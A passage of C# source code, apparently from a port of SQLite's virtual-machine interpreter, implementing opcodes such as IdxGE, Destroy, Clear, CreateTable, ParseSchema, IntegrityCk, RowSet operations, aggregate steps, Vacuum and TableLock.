p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              pCrsr = pC.pCursor;\n              if ( ALWAYS( pCrsr != null ) )\n              {\n                r.pKeyInfo = pC.pKeyInfo;\n                r.nField = (u16)pOp.p3;\n                r.flags = 0;\n                r.aMem = new Mem[r.nField];\n                for ( int ra = 0 ; ra < r.nField ; ra++ ) r.aMem[ra] = p.aMem[pOp.p2 + ra];\n                rc = sqlite3BtreeMovetoUnpacked( pCrsr, r, 0, 0, ref res );\n                if ( rc == SQLITE_OK && res == 0 )\n                {\n                  rc = sqlite3BtreeDelete( pCrsr );\n                }\n                Debug.Assert( !pC.deferredMoveto );\n                pC.cacheStatus = CACHE_STALE;\n              }\n              break;\n            }\n\n          /* Opcode: IdxRowid P1 P2 * * *\n          **\n          ** Write into register P2 an integer which is the last entry in the record at\n          ** the end of the index key pointed to by cursor P1.  This integer should be\n          ** the rowid of the table entry to which this index entry points.\n          **\n          ** See also: Rowid, MakeRecord.\n          */\n          case OP_IdxRowid:\n            {              /* out2-prerelease */\n              BtCursor pCrsr;\n              VdbeCursor pC;\n              i64 rowid;\n\n              rowid = 0;\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              pCrsr = pC.pCursor;\n              if ( ALWAYS( pCrsr != null ) )\n              {\n                rc = sqlite3VdbeCursorMoveto( pC );\n                if ( NEVER( rc != 0 ) ) goto abort_due_to_error;\n                Debug.Assert( !pC.deferredMoveto );\n                Debug.Assert( !pC.isTable );\n                if ( !pC.nullRow )\n                {\n                  rc = sqlite3VdbeIdxRowid( db, pCrsr, ref rowid );\n                  if ( rc != SQLITE_OK )\n                  {\n                    goto abort_due_to_error;\n                  }\n                  MemSetTypeFlag( pOut, MEM_Int );\n                  pOut.u.i = (long)rowid;\n                }\n              }\n              break;\n            }\n\n          /* Opcode: IdxGE P1 P2 P3 P4 P5\n          **\n          ** The P4 register values beginning with P3 form an unpacked index\n          ** key that omits the ROWID.  Compare this key value against the index\n          ** that P1 is currently pointing to, ignoring the ROWID on the P1 index.\n          **\n          ** If the P1 index entry is greater than or equal to the key value\n          ** then jump to P2.  Otherwise fall through to the next instruction.\n          **\n          ** If P5 is non-zero then the key value is increased by an epsilon\n          ** prior to the comparison.  This make the opcode work like IdxGT except\n          ** that if the key from register P3 is a prefix of the key in the cursor,\n          ** the result is false whereas it would be true with IdxGT.\n          */\n          /* Opcode: IdxLT P1 P2 P3 * P5\n          **\n          ** The P4 register values beginning with P3 form an unpacked index\n          ** key that omits the ROWID.  Compare this key value against the index\n          ** that P1 is currently pointing to, ignoring the ROWID on the P1 index.\n          **\n          ** If the P1 index entry is less than the key value then jump to P2.\n          ** Otherwise fall through to the next instruction.\n          **\n          ** If P5 is non-zero then the key value is increased by an epsilon prior\n          ** to the comparison.  This makes the opcode work like IdxLE.\n          */\n          case OP_IdxLT:          /* jump, in3 */\n          case OP_IdxGE:\n            {        /* jump, in3 */\n              VdbeCursor pC;\n              int res;\n              UnpackedRecord r;\n\n              res = 0;\n              r = new UnpackedRecord();\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < p.nCursor );\n              pC = p.apCsr[pOp.p1];\n              Debug.Assert( pC != null );\n              if ( ALWAYS( pC.pCursor != null ) )\n              {\n                Debug.Assert( pC.deferredMoveto == false );\n                Debug.Assert( pOp.p5 == 0 || pOp.p5 == 1 );\n                Debug.Assert( pOp.p4type == P4_INT32 );\n                r.pKeyInfo = pC.pKeyInfo;\n                r.nField = (u16)pOp.p4.i;\n                if ( pOp.p5 != 0 )\n                {\n                  r.flags = UNPACKED_INCRKEY | UNPACKED_IGNORE_ROWID;\n                }\n                else\n                {\n                  r.flags = UNPACKED_IGNORE_ROWID;\n                }\n                r.aMem = new Mem[r.nField];\n                for ( int rI = 0 ; rI < r.nField ; rI++ ) r.aMem[rI] = p.aMem[pOp.p3 + rI];// r.aMem = p.aMem[pOp.p3];\n                rc = sqlite3VdbeIdxKeyCompare( pC, r, ref res );\n                if ( pOp.opcode == OP_IdxLT )\n                {\n                  res = -res;\n                }\n                else\n                {\n                  Debug.Assert( pOp.opcode == OP_IdxGE );\n                  res++;\n                }\n                if ( res > 0 )\n                {\n                  pc = pOp.p2 - 1;\n                }\n              }\n              break;\n            }\n\n          /* Opcode: Destroy P1 P2 P3 * *\n          **\n          ** Delete an entire database table or index whose root page in the database\n          ** file is given by P1.\n          **\n          ** The table being destroyed is in the main database file if P3==0.  If\n          ** P3==1 then the table to be clear is in the auxiliary database file\n          ** that is used to store tables create using CREATE TEMPORARY TABLE.\n          **\n          ** If AUTOVACUUM is enabled then it is possible that another root page\n          ** might be moved into the newly deleted root page in order to keep all\n          ** root pages contiguous at the beginning of the database.  The former\n          ** value of the root page that moved - its value before the move occurred -\n          ** is stored in register P2.  If no page\n          ** movement was required (because the table being dropped was already\n          ** the last one in the database) then a zero is stored in register P2.\n          ** If AUTOVACUUM is disabled then a zero is stored in register P2.\n          **\n          ** See also: Clear\n          */\n          case OP_Destroy:\n            {     /* out2-prerelease */\n              int iMoved = 0;\n              int iCnt;\n              Vdbe pVdbe;\n              int iDb;\n\n#if !SQLITE_OMIT_VIRTUALTABLE\niCnt = 0;\nfor(pVdbe=db.pVdbe; pVdbe; pVdbe=pVdbe.pNext){\nif( pVdbe.magic==VDBE_MAGIC_RUN && pVdbe.inVtabMethod<2 && pVdbe.pc>=0 ){\niCnt++;\n}\n}\n#else\n              iCnt = db.activeVdbeCnt;\n#endif\n              if ( iCnt > 1 )\n              {\n                rc = SQLITE_LOCKED;\n                p.errorAction = OE_Abort;\n              }\n              else\n              {\n                iDb = pOp.p3;\n                Debug.Assert( iCnt == 1 );\n                Debug.Assert( ( p.btreeMask & ( 1 << iDb ) ) != 0 );\n                rc = sqlite3BtreeDropTable( db.aDb[iDb].pBt,pOp.p1, ref iMoved );\n                MemSetTypeFlag( pOut, MEM_Int );\n                pOut.u.i = iMoved;\n#if !SQLITE_OMIT_AUTOVACUUM\n                if ( rc == SQLITE_OK && iMoved != 0 )\n                {\n                  sqlite3RootPageMoved( db.aDb[iDb], iMoved, pOp.p1 );\n                }\n#endif\n              }\n              break;\n            }\n\n          /* Opcode: Clear P1 P2 P3\n          **\n          ** Delete all contents of the database table or index whose root page\n          ** in the database file is given by P1.  But, unlike Destroy, do not\n          ** remove the table or index from the database file.\n          **\n          ** The table being clear is in the main database file if P2==0.  If\n          ** P2==1 then the table to be clear is in the auxiliary database file\n          ** that is used to store tables create using CREATE TEMPORARY TABLE.\n          **\n          ** If the P3 value is non-zero, then the table referred to must be an\n          ** intkey table (an SQL table, not an index). In this case the row change\n          ** count is incremented by the number of rows in the table being cleared.\n          ** If P3 is greater than zero, then the value stored in register P3 is\n          ** also incremented by the number of rows in the table being cleared.\n          **\n          ** See also: Destroy\n          */\n          case OP_Clear:\n            {\n              int nChange;\n\n              nChange = 0;\n              Debug.Assert( ( p.btreeMask & ( 1 << pOp.p2 ) ) != 0 );\n              int iDummy0 = 0;\n              if ( pOp.p3 != 0 ) rc = sqlite3BtreeClearTable( db.aDb[pOp.p2].pBt, pOp.p1, ref nChange );\n              else rc = sqlite3BtreeClearTable( db.aDb[pOp.p2].pBt, pOp.p1, ref iDummy0 );\n              if ( pOp.p3 != 0 )\n              {\n                p.nChange += nChange;\n                if ( pOp.p3 > 0 )\n                {\n                  p.aMem[pOp.p3].u.i += nChange;\n                }\n              }\n              break;\n            }\n\n          /* Opcode: CreateTable P1 P2 * * *\n          **\n          ** Allocate a new table in the main database file if P1==0 or in the\n          ** auxiliary database file if P1==1 or in an attached database if\n          ** P1>1.  Write the root page number of the new table into\n          ** register P2\n          **\n          ** The difference between a table and an index is this:  A table must\n          ** have a 4-byte integer key and can have arbitrary data.  An index\n          ** has an arbitrary key but no data.\n          **\n          ** See also: CreateIndex\n          */\n          /* Opcode: CreateIndex P1 P2 * * *\n          **\n          ** Allocate a new index in the main database file if P1==0 or in the\n          ** auxiliary database file if P1==1 or in an attached database if\n          ** P1>1.  Write the root page number of the new table into\n          ** register P2.\n          **\n          ** See documentation on OP_CreateTable for additional information.\n          */\n          case OP_CreateIndex:            /* out2-prerelease */\n          case OP_CreateTable:\n            {          /* out2-prerelease */\n              int pgno;\n              int flags;\n              Db pDb;\n\n              pgno = 0;\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < db.nDb );\n              Debug.Assert( ( p.btreeMask & ( 1 << pOp.p1 ) ) != 0 );\n              pDb = db.aDb[pOp.p1];\n              Debug.Assert( pDb.pBt != null );\n              if ( pOp.opcode == OP_CreateTable )\n              {\n                /* flags = BTREE_INTKEY; */\n                flags = BTREE_LEAFDATA | BTREE_INTKEY;\n              }\n              else\n              {\n                flags = BTREE_ZERODATA;\n              }\n              rc = sqlite3BtreeCreateTable( pDb.pBt, ref pgno, flags );\n              pOut.u.i = pgno;\n              MemSetTypeFlag( pOut, MEM_Int );\n              break;\n            }\n\n          /* Opcode: ParseSchema P1 P2 * P4 *\n          **\n          ** Read and parse all entries from the SQLITE_MASTER table of database P1\n          ** that match the WHERE clause P4.  P2 is the \"force\" flag.   Always do\n          ** the parsing if P2 is true.  If P2 is false, then this routine is a\n          ** no-op if the schema is not currently loaded.  In other words, if P2\n          ** is false, the SQLITE_MASTER table is only parsed if the rest of the\n          ** schema is already loaded into the symbol table.\n          **\n          ** This opcode invokes the parser to create a new virtual machine,\n          ** then runs the new virtual machine.  It is thus a re-entrant opcode.\n          */\n          case OP_ParseSchema:\n            {\n              int iDb;\n              string zMaster;\n              string zSql;\n              InitData initData;\n\n\n              iDb = pOp.p1;\n              Debug.Assert( iDb >= 0 && iDb < db.nDb );\n\n              /* If pOp->p2 is 0, then this opcode is being executed to read a\n              ** single row, for example the row corresponding to a new index\n              ** created by this VDBE, from the sqlite_master table. It only\n              ** does this if the corresponding in-memory schema is currently\n              ** loaded. Otherwise, the new index definition can be loaded along\n              ** with the rest of the schema when it is required.\n              **\n              ** Although the mutex on the BtShared object that corresponds to\n              ** database iDb (the database containing the sqlite_master table\n              ** read by this instruction) is currently held, it is necessary to\n              ** obtain the mutexes on all attached databases before checking if\n              ** the schema of iDb is loaded. This is because, at the start of\n              ** the sqlite3_exec() call below, SQLite will invoke\n              ** sqlite3BtreeEnterAll(). If all mutexes are not already held, the\n              ** iDb mutex may be temporarily released to avoid deadlock. If\n              ** this happens, then some other thread may delete the in-memory\n              ** schema of database iDb before the SQL statement runs. The schema\n              ** will not be reloaded becuase the db->init.busy flag is set. This\n              ** can result in a \"no such table: sqlite_master\" or \"malformed\n              ** database schema\" error being returned to the user.\n              */\n              Debug.Assert( sqlite3BtreeHoldsMutex( db.aDb[iDb].pBt ) );\n              sqlite3BtreeEnterAll( db );\n              if ( pOp.p2 != 0 || DbHasProperty( db, iDb, DB_SchemaLoaded ) )\n              {\n                zMaster = SCHEMA_TABLE( iDb );\n                initData = new InitData();\n                initData.db = db;\n                initData.iDb = pOp.p1;\n                initData.pzErrMsg = p.zErrMsg;\n                zSql = sqlite3MPrintf( db,\n                \"SELECT name, rootpage, sql FROM '%q'.%s WHERE %s\",\n                db.aDb[iDb].zName, zMaster, pOp.p4.z );\n                if ( String.IsNullOrEmpty( zSql ) )\n                {\n                  rc = SQLITE_NOMEM;\n                }\n                else\n                {\n#if SQLITE_DEBUG\n                  sqlite3SafetyOff( db );\n#endif\n                  Debug.Assert( 0 == db.init.busy );\n                  db.init.busy = 1;\n                  initData.rc = SQLITE_OK;\n                  //Debug.Assert( 0 == db.mallocFailed );\n                  rc = sqlite3_exec( db, zSql, (dxCallback)sqlite3InitCallback, (object)initData, 0 );\n                  if ( rc == SQLITE_OK ) rc = initData.rc;\n                  //sqlite3DbFree( db, ref zSql );\n                  db.init.busy = 0;\n#if SQLITE_DEBUG\n                  sqlite3SafetyOn( db );\n#endif\n                }\n              }\n              sqlite3BtreeLeaveAll( db );\n              if ( rc == SQLITE_NOMEM )\n              {\n                goto no_mem;\n              }\n              break;\n            }\n\n#if  !SQLITE_OMIT_ANALYZE\n          /* Opcode: LoadAnalysis P1 * * * *\n**\n** Read the sqlite_stat1 table for database P1 and load the content\n** of that table into the internal index hash table.  This will cause\n** the analysis to be used when preparing all subsequent queries.\n*/\n          case OP_LoadAnalysis:\n            {\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < db.nDb );\n              rc = sqlite3AnalysisLoad( db, pOp.p1 );\n              break;\n            }\n#endif // * !SQLITE_OMIT_ANALYZE) */\n\n          /* Opcode: DropTable P1 * * P4 *\n**\n** Remove the internal (in-memory) data structures that describe\n** the table named P4 in database P1.  This is called after a table\n** is dropped in order to keep the internal representation of the\n** schema consistent with what is on disk.\n*/\n          case OP_DropTable:\n            {\n              sqlite3UnlinkAndDeleteTable( db, pOp.p1, pOp.p4.z );\n              break;\n            }\n\n          /* Opcode: DropIndex P1 * * P4 *\n          **\n          ** Remove the internal (in-memory) data structures that describe\n          ** the index named P4 in database P1.  This is called after an index\n          ** is dropped in order to keep the internal representation of the\n          ** schema consistent with what is on disk.\n          */\n          case OP_DropIndex:\n            {\n              sqlite3UnlinkAndDeleteIndex( db, pOp.p1, pOp.p4.z );\n              break;\n            }\n\n          /* Opcode: DropTrigger P1 * * P4 *\n          **\n          ** Remove the internal (in-memory) data structures that describe\n          ** the trigger named P4 in database P1.  This is called after a trigger\n          ** is dropped in order to keep the internal representation of the\n          ** schema consistent with what is on disk.\n          */\n          case OP_DropTrigger:\n            {\n              sqlite3UnlinkAndDeleteTrigger( db, pOp.p1, pOp.p4.z );\n              break;\n            }\n\n\n#if !SQLITE_OMIT_INTEGRITY_CHECK\n          /* Opcode: IntegrityCk P1 P2 P3 * P5\n**\n** Do an analysis of the currently open database.  Store in\n** register P1 the text of an error message describing any problems.\n** If no problems are found, store a NULL in register P1.\n**\n** The register P3 contains the maximum number of allowed errors.\n** At most reg(P3) errors will be reported.\n** In other words, the analysis stops as soon as reg(P1) errors are\n** seen.  Reg(P1) is updated with the number of errors remaining.\n**\n** The root page numbers of all tables in the database are integer\n** stored in reg(P1), reg(P1+1), reg(P1+2), ....  There are P2 tables\n** total.\n**\n** If P5 is not zero, the check is done on the auxiliary database\n** file, not the main database file.\n**\n** This opcode is used to implement the integrity_check pragma.\n*/\n          case OP_IntegrityCk:\n            {\n              int nRoot;       /* Number of tables to check.  (Number of root pages.) */\n              int[] aRoot;     /* Array of rootpage numbers for tables to be checked */\n              int j;           /* Loop counter */\n              int nErr = 0;    /* Number of errors reported */\n              string z;        /* Text of the error report */\n              Mem pnErr;       /* Register keeping track of errors remaining */\n\n              nRoot = pOp.p2;\n              Debug.Assert( nRoot > 0 );\n              aRoot = new int[nRoot + 1];// sqlite3DbMallocRaw(db, sizeof(int) * (nRoot + 1));\n              if ( aRoot == null ) goto no_mem;\n              Debug.Assert( pOp.p3 > 0 && pOp.p3 <= p.nMem );\n              pnErr = p.aMem[pOp.p3];\n              Debug.Assert( ( pnErr.flags & MEM_Int ) != 0 );\n              Debug.Assert( ( pnErr.flags & ( MEM_Str | MEM_Blob ) ) == 0 );\n              pIn1 = p.aMem[pOp.p1];\n              for ( j = 0 ; j < nRoot ; j++ )\n              {\n                aRoot[j] = (int)sqlite3VdbeIntValue( p.aMem[pOp.p1 + j] ); // pIn1[j]);\n              }\n              aRoot[j] = 0;\n              Debug.Assert( pOp.p5 < db.nDb );\n              Debug.Assert( ( p.btreeMask & ( 1 << pOp.p5 ) ) != 0 );\n              z = sqlite3BtreeIntegrityCheck( db.aDb[pOp.p5].pBt, aRoot, nRoot,\n              (int)pnErr.u.i, ref nErr );\n              //sqlite3DbFree( db, ref aRoot );\n              pnErr.u.i -= nErr;\n              sqlite3VdbeMemSetNull( pIn1 );\n              if ( nErr == 0 )\n              {\n                Debug.Assert( z == \"\" );\n              }\n              else if ( String.IsNullOrEmpty( z ) )\n              {\n                goto no_mem;\n              }\n              else\n              {\n                sqlite3VdbeMemSetStr(pIn1, z, -1, SQLITE_UTF8, null); //sqlite3_free );\n              }\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pIn1 );\n#endif\n              sqlite3VdbeChangeEncoding( pIn1, encoding );\n              break;\n            }\n#endif // * SQLITE_OMIT_INTEGRITY_CHECK */\n\n          /* Opcode: RowSetAdd P1 P2 * * *\n**\n** Insert the integer value held by register P2 into a boolean index\n** held in register P1.\n**\n** An assertion fails if P2 is not an integer.\n*/\n          case OP_RowSetAdd:\n            {       /* in2 */\n              Mem pIdx;\n              Mem pVal;\n              Debug.Assert( pOp.p1 > 0 && pOp.p1 <= p.nMem );\n              pIdx = p.aMem[pOp.p1];\n              Debug.Assert( pOp.p2 > 0 && pOp.p2 <= p.nMem );\n              pVal = p.aMem[pOp.p2];\n              Debug.Assert( ( pVal.flags & MEM_Int ) != 0 );\n              if ( ( pIdx.flags & MEM_RowSet ) == 0 )\n              {\n                sqlite3VdbeMemSetRowSet( pIdx );\n                if ( ( pIdx.flags & MEM_RowSet ) == 0 ) goto no_mem;\n              }\n              sqlite3RowSetInsert( pIdx.u.pRowSet, pVal.u.i );\n              break;\n            }\n\n          /* Opcode: RowSetRead P1 P2 P3 * *\n          **\n          ** Extract the smallest value from boolean index P1 and put that value into\n          ** register P3.  Or, if boolean index P1 is initially empty, leave P3\n          ** unchanged and jump to instruction P2.\n          */\n          case OP_RowSetRead:\n            {       /* jump, out3 */\n              Mem pIdx;\n              i64 val = 0;\n              Debug.Assert( pOp.p1 > 0 && pOp.p1 <= p.nMem );\n              if ( db.u1.isInterrupted ) goto abort_due_to_interrupt; //CHECK_FOR_INTERRUPT;\n              pIdx = p.aMem[pOp.p1];\n              pOut = p.aMem[pOp.p3];\n              if ( ( pIdx.flags & MEM_RowSet ) == 0\n              || sqlite3RowSetNext( pIdx.u.pRowSet, ref val ) == 0\n              )\n              {\n                /* The boolean index is empty */\n                sqlite3VdbeMemSetNull( pIdx );\n                pc = pOp.p2 - 1;\n              }\n              else\n              {\n                /* A value was pulled from the index */\n                Debug.Assert( pOp.p3 > 0 && pOp.p3 <= p.nMem );\n                sqlite3VdbeMemSetInt64( pOut, val );\n              }\n              break;\n            }\n\n          /* Opcode: RowSetTest P1 P2 P3 P4\n          **\n          ** Register P3 is assumed to hold a 64-bit integer value. If register P1\n          ** contains a RowSet object and that RowSet object contains\n          ** the value held in P3, jump to register P2. Otherwise, insert the\n          ** integer in P3 into the RowSet and continue on to the\n          ** next opcode.\n          **\n          ** The RowSet object is optimized for the case where successive sets\n          ** of integers, where each set contains no duplicates. Each set\n          ** of values is identified by a unique P4 value. The first set\n          ** must have P4==0, the final set P4=-1.  P4 must be either -1 or\n          ** non-negative.  For non-negative values of P4 only the lower 4\n          ** bits are significant.\n          **\n          ** This allows optimizations: (a) when P4==0 there is no need to test\n          ** the rowset object for P3, as it is guaranteed not to contain it,\n          ** (b) when P4==-1 there is no need to insert the value, as it will\n          ** never be tested for, and (c) when a value that is part of set X is\n          ** inserted, there is no need to search to see if the same value was\n          ** previously inserted as part of set X (only if it was previously\n          ** inserted as part of some other set).\n          */\n          case OP_RowSetTest:\n            {                     /* jump, in1, in3 */\n              int iSet;\n              int exists;\n\n              iSet = pOp.p4.i;\n              Debug.Assert( ( pIn3.flags & MEM_Int ) != 0 );\n\n              /* If there is anything other than a rowset object in memory cell P1,\n              ** delete it now and initialize P1 with an empty rowset\n              */\n              if ( ( pIn1.flags & MEM_RowSet ) == 0 )\n              {\n                sqlite3VdbeMemSetRowSet( pIn1 );\n                if ( ( pIn1.flags & MEM_RowSet ) == 0 ) goto no_mem;\n              }\n\n              Debug.Assert( pOp.p4type == P4_INT32 );\n              Debug.Assert( iSet == -1 || iSet >= 0 );\n              if ( iSet != 0 )\n              {\n                exists = sqlite3RowSetTest( pIn1.u.pRowSet,\n                (u8)( iSet >= 0 ? iSet & 0xf : 0xff ),\n                pIn3.u.i );\n                if ( exists != 0 )\n                {\n                  pc = pOp.p2 - 1;\n                  break;\n                }\n              }\n              if ( iSet >= 0 )\n              {\n                sqlite3RowSetInsert( pIn1.u.pRowSet, pIn3.u.i );\n              }\n              break;\n            }\n\n#if !SQLITE_OMIT_TRIGGER\n          /* Opcode: ContextPush * * *\n**\n** Save the current Vdbe context such that it can be restored by a ContextPop\n** opcode. The context stores the last insert row id, the last statement change\n** count, and the current statement change count.\n*/\n          case OP_ContextPush:\n            {\n              int i;\n              Context pContext;\n\n              i = p.contextStackTop++;\n              Debug.Assert( i >= 0 );\n              /* FIX ME: This should be allocated as part of the vdbe at compile-time */\n              if ( i >= p.contextStackDepth )\n              {\n                p.contextStackDepth = i + 1;\n                if ( i == 0 )\n                  p.contextStack = new Context[i + 1];// sqlite3DbReallocOrFree( db, p.contextStack,\n                //        sizeof(Context) * ( i + 1 ) );\n                else\n                  Array.Resize( ref p.contextStack, i + 1 );\n                if ( p.contextStack == null ) goto no_mem;\n              }\n              p.contextStack[i] = new Context();\n              pContext = p.contextStack[i];\n              pContext.lastRowid = db.lastRowid;\n              pContext.nChange = p.nChange;\n              break;\n            }\n\n          /* Opcode: ContextPop * * *\n          **\n          ** Restore the Vdbe context to the state it was in when contextPush was last\n          ** executed. The context stores the last insert row id, the last statement\n          ** change count, and the current statement change count.\n          */\n          case OP_ContextPop:\n            {\n              Context pContext;\n\n              pContext = p.contextStack[--p.contextStackTop];\n              Debug.Assert( p.contextStackTop >= 0 );\n              db.lastRowid = pContext.lastRowid;\n              p.nChange = pContext.nChange;\n              break;\n            }\n#endif // * #if !SQLITE_OMIT_TRIGGER */\n\n#if !SQLITE_OMIT_AUTOINCREMENT\n          /* Opcode: MemMax P1 P2 * * *\n**\n** Set the value of register P1 to the maximum of its current value\n** and the value in register P2.\n**\n** This instruction throws an error if the memory cell is not initially\n** an integer.\n*/\n          case OP_MemMax:\n            {        /* in1, in2 */\n              sqlite3VdbeMemIntegerify( pIn1 );\n              sqlite3VdbeMemIntegerify( pIn2 );\n              if ( pIn1.u.i < pIn2.u.i )\n              {\n                pIn1.u.i = pIn2.u.i;\n              }\n              break;\n            }\n#endif // * SQLITE_OMIT_AUTOINCREMENT */\n\n          /* Opcode: IfPos P1 P2 * * *\n**\n** If the value of register P1 is 1 or greater, jump to P2.\n**\n** It is illegal to use this instruction on a register that does\n** not contain an integer.  An Debug.Assertion fault will result if you try.\n*/\n          case OP_IfPos:\n            {        /* jump, in1 */\n              Debug.Assert( ( pIn1.flags & MEM_Int ) != 0 );\n              if ( pIn1.u.i > 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: IfNeg P1 P2 * * *\n          **\n          ** If the value of register P1 is less than zero, jump to P2.\n          **\n          ** It is illegal to use this instruction on a register that does\n          ** not contain an integer.  An Debug.Assertion fault will result if you try.\n          */\n          case OP_IfNeg:\n            {        /* jump, in1 */\n              Debug.Assert( ( pIn1.flags & MEM_Int ) != 0 );\n              if ( pIn1.u.i < 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: IfZero P1 P2 * * *\n          **\n          ** If the value of register P1 is exactly 0, jump to P2.\n          **\n          ** It is illegal to use this instruction on a register that does\n          ** not contain an integer.  An Debug.Assertion fault will result if you try.\n          */\n          case OP_IfZero:\n            {        /* jump, in1 */\n              Debug.Assert( ( pIn1.flags & MEM_Int ) != 0 );\n              if ( pIn1.u.i == 0 )\n              {\n                pc = pOp.p2 - 1;\n              }\n              break;\n            }\n\n          /* Opcode: AggStep * P2 P3 P4 P5\n          **\n          ** Execute the step function for an aggregate.  The\n          ** function has P5 arguments.   P4 is a pointer to the FuncDef\n          ** structure that specifies the function.  Use register\n          ** P3 as the accumulator.\n          **\n          ** The P5 arguments are taken from register P2 and its\n          ** successors.\n          */\n          case OP_AggStep:\n            {\n              int n;\n              int i;\n              Mem pMem;\n              Mem pRec;\n              sqlite3_context ctx = new sqlite3_context();\n              sqlite3_value[] apVal;\n\n              n = pOp.p5;\n              Debug.Assert( n >= 0 );\n              //pRec = p.aMem[pOp.p2];\n              apVal = p.apArg;\n              Debug.Assert( apVal != null || n == 0 );\n              for ( i = 0 ; i < n ; i++ )//, pRec++)\n              {\n                pRec = p.aMem[pOp.p2 + i];\n                apVal[i] = pRec;\n                storeTypeInfo( pRec, encoding );\n              }\n              ctx.pFunc = pOp.p4.pFunc;\n              Debug.Assert( pOp.p3 > 0 && pOp.p3 <= p.nMem );\n              ctx.pMem = pMem = p.aMem[pOp.p3];\n              pMem.n++;\n              ctx.s.flags = MEM_Null;\n              ctx.s.z = null;\n              //ctx.s.zMalloc = null;\n              ctx.s.xDel = null;\n              ctx.s.db = db;\n              ctx.isError = 0;\n              ctx.pColl = null;\n              if ( ( ctx.pFunc.flags & SQLITE_FUNC_NEEDCOLL ) != 0 )\n              {\n                Debug.Assert( pc > 0 );//pOp > p.aOp );\n                Debug.Assert( p.aOp[pc - 1].p4type == P4_COLLSEQ ); //pOp[-1].p4type == P4_COLLSEQ );\n                Debug.Assert( p.aOp[pc - 1].opcode == OP_CollSeq ); // pOp[-1].opcode == OP_CollSeq );\n                ctx.pColl = p.aOp[pc - 1].p4.pColl; ;// pOp[-1].p4.pColl;\n              }\n              ctx.pFunc.xStep( ctx, n, apVal );\n              if ( ctx.isError != 0 )\n              {\n                sqlite3SetString( ref p.zErrMsg, db, sqlite3_value_text( ctx.s ) );\n                rc = ctx.isError;\n              }\n              sqlite3VdbeMemRelease( ctx.s );\n              break;\n            }\n\n          /* Opcode: AggFinal P1 P2 * P4 *\n          **\n          ** Execute the finalizer function for an aggregate.  P1 is\n          ** the memory location that is the accumulator for the aggregate.\n          **\n          ** P2 is the number of arguments that the step function takes and\n          ** P4 is a pointer to the FuncDef for this function.  The P2\n          ** argument is not used by this opcode.  It is only there to disambiguate\n          ** functions that can take varying numbers of arguments.  The\n          ** P4 argument is only needed for the degenerate case where\n          ** the step function was not previously called.\n          */\n          case OP_AggFinal:\n            {\n              Mem pMem;\n              Debug.Assert( pOp.p1 > 0 && pOp.p1 <= p.nMem );\n              pMem = p.aMem[pOp.p1];\n              Debug.Assert( ( pMem.flags & ~( MEM_Null | MEM_Agg ) ) == 0 );\n              rc = sqlite3VdbeMemFinalize( pMem, pOp.p4.pFunc );\n              p.aMem[pOp.p1] = pMem;\n              if ( rc != 0 )\n              {\n                sqlite3SetString( ref p.zErrMsg, db, sqlite3_value_text( pMem ) );\n              }\n              sqlite3VdbeChangeEncoding( pMem, encoding );\n#if SQLITE_TEST\n              UPDATE_MAX_BLOBSIZE( pMem );\n#endif\n              if ( sqlite3VdbeMemTooBig( pMem ) )\n              {\n                goto too_big;\n              }\n              break;\n            }\n\n\n#if  !SQLITE_OMIT_VACUUM && !SQLITE_OMIT_ATTACH\n          /* Opcode: Vacuum * * * * *\n**\n** Vacuum the entire database.  This opcode will cause other virtual\n** machines to be created and run.  It may not be called from within\n** a transaction.\n*/\n          case OP_Vacuum:\n            {\n#if SQLITE_DEBUG\n              if ( sqlite3SafetyOff( db ) ) goto abort_due_to_misuse;\n#endif\n              rc = sqlite3RunVacuum( ref p.zErrMsg, db );\n#if SQLITE_DEBUG\n              if ( sqlite3SafetyOn( db ) ) goto abort_due_to_misuse;\n#endif\n              break;\n            }\n#endif\n\n#if  !SQLITE_OMIT_AUTOVACUUM\n          /* Opcode: IncrVacuum P1 P2 * * *\n**\n** Perform a single step of the incremental vacuum procedure on\n** the P1 database. If the vacuum has finished, jump to instruction\n** P2. Otherwise, fall through to the next instruction.\n*/\n          case OP_IncrVacuum:\n            {        /* jump */\n              Btree pBt;\n\n              Debug.Assert( pOp.p1 >= 0 && pOp.p1 < db.nDb );\n              Debug.Assert( ( p.btreeMask & ( 1 << pOp.p1 ) ) != 0 );\n              pBt = db.aDb[pOp.p1].pBt;\n              rc = sqlite3BtreeIncrVacuum( pBt );\n              if ( rc == SQLITE_DONE )\n              {\n                pc = pOp.p2 - 1;\n                rc = SQLITE_OK;\n              }\n              break;\n            }\n#endif\n\n          /* Opcode: Expire P1 * * * *\n**\n** Cause precompiled statements to become expired. An expired statement\n** fails with an error code of SQLITE_SCHEMA if it is ever executed\n** (via sqlite3_step()).\n**\n** If P1 is 0, then all SQL statements become expired. If P1 is non-zero,\n** then only the currently executing statement is affected.\n*/\n          case OP_Expire:\n            {\n              if ( pOp.p1 == 0 )\n              {\n                sqlite3ExpirePreparedStatements( db );\n              }\n              else\n              {\n                p.expired = true;\n              }\n              break;\n            }\n\n#if !SQLITE_OMIT_SHARED_CACHE\n/* Opcode: TableLock P1 P2 P3 P4 *\n**\n** Obtain a lock on a particular table. This instruction is only used when\n** the shared-cache feature is enabled.\n**\n** P1 is the index of the database in sqlite3.aDb[] of the database\n** on which the lock is acquired.  A readlock is obtained if P3==0 or\n** a write lock if P3==1.\n**\n** P2 contains the root-page of the table to lock.\n**\n** P4 contains a pointer to the name of the table being locked. This is only\n** used to generate an error message if the lock cannot be obtained.\n*/\ncase OP_TableLock:\n{\nu8 isWriteLock = (u8)pOp.p3;\nif( isWriteLock || 0==(db.flags&SQLITE_ReadUncommitted) ){\nint p1 = pOp.p1; \nDebug.Assert( p1 >= 0 && p1 < db.nDb );\nDebug.Assert( ( p.btreeMask & ( 1 << p1 ) ) != 0 );\nDebug.Assert( isWriteLock == 0 || isWriteLock == 1 );\nrc = sqlite3BtreeLockTable( db.aDb[p1].pBt, pOp.p2, isWriteLock );\nif ( ( rc & 0xFF ) == SQLITE_LOCKED )\n{\nstring z = pOp.p4.z;\nsqlite3SetString( ref p.zErrMsg, db, \"database table is locked: \", z );\n}\n}\nbreak;\n}\n#endif // * 